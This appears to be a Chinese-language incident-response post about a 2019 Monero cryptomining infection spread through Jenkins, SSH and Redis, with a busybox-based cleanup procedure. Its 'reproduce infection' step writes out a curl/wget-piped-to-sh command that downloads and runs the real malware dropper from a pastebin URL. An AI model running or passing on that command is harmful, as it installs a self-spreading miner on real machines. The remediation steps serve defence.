背景

从昨日(20190221)中午起, 发现大量测试环境机器和一台线上机器疑似感染挖矿病毒(后来确认的确是门罗币挖矿病毒), 经过一天多的紧急排查, 已基本搞定了该病毒.

该病毒这两天疑似大规模爆发, 已经有几个其他公司的朋友中招, 也在网上看到一些帖子和提问.

下面先贴出梳理后的解决过程, 有时间再附上详细的分析过程.

直观表现

• top, ps -ef 无异常进程
• load average 稳步飙升
• netstat 命令被删除
• 尝试建立大量22端口, 6379端口的内网连接
• crontab 被添加定时挖矿脚本, 删除无效

crontab.jpg

传播途径

• Jenkins漏洞(or 弱密码?)侵入
• 尝试root用户ssh的免密登录
• 尝试redis内网登录

准备过程

获取busybox

因感染病毒后, ls等系统命令会被劫持, 需要busybox替代这些系统命令, 下面提供从busybox官方docker镜像中提取的静态编译版busybox过程.

docker run --rm -itv /tmp/:/tmp busybox:uclibc
cp /bin/busybox /tmp
exit

宿主机即获取到: /tmp/busybox

复现感染过程()

这里演示docker环境root感染模式, docker与虚拟机环境有区别, 病毒行为会受限, 你也可以使用虚拟机进行测试.

docker run --rm -it -v /tmp:/tmp centos:latest
yum install -y crontabs lsof e2fsprogs
(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh

使用busybox代替系统命令

busybox top, busybox ps -ef

此busybox为静态编译版, 不依赖so库, 系统的ls等命令已被通过so库的preload机制被病毒劫持, ls会导致/etc/cron.d/root文件被刷写为病毒定时执行命令.

发现比系统命令多两个进程(进程个数跟cpu核数有关), 耗尽了所有cpu资源

/tmp/ksoftirqds
/tmp/watchdogs

查杀过程(系统命令已不可信, 操作优先采用busybox)

关闭crontab

systemctl stop crond

安装busybox

前面已经将静态编译版的busybox放置在宿主机/tmp目录下, 同时又将/tmp挂载到了docker 中的 /tmp 目录下. 如果你使用虚拟机测试, 请自行上传.

chmod +x /tmp/busybox && mv /tmp/busybox /sbin/

写hosts, 屏蔽病毒脚本下载

busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts

删除，创建，并锁定 crontab相关文件

busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i  /var/spool/cron/root
busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root 
busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root

备份重要的crontab，然后删除cron.d目录的其他文件

busybox rm -rf /etc/cron.d/*

检查并删除下面目录有异常文件

busybox ls /etc/cron.daily
busybox ls /etc/cron.hourly
busybox ls /etc/cron.monthly
busybox ls /etc/cron.weekly

删除病毒相关执行文件和启动脚本

busybox rm /sbin/watchdogs
busybox rm /usr/sbin/watchdogs
busybox rm /etc/init.d/watchdogs

busybox find / -type f -name '*watchdogs*' | busybox xargs rm -f

删除病毒进程

busybox pkill watchdogs
busybox pkill ksoftirqds

删除被preload的so库

busybox rm /usr/local/lib/libioset.so
busybox rm /etc/ld.so.preload
busybox rm /etc/ld.so.cache

验证libioset.so被卸载

lsof | grep usr/local/lib/libioset.so

无输出, 则该动态链接库被卸载, 直接执行验证步骤;

有输出, kill掉占用的进程, 重复执行该步骤;

若反复执行后无法成功卸载该动态链接库, 请执行服务器重启操作.

重启服务器

验证步骤

busybox top # 查看系统负载
crontab -l  # 查看是否还有异常任务
busybox chattr -i /etc/cron.d/root   # 过一段时间查看是否有异常任务写入

如果没有成功，重复执行整个查杀过程，尽量在短时间内完成所有操作并重启，否则病毒会利用已加载的动态链接库恢复感染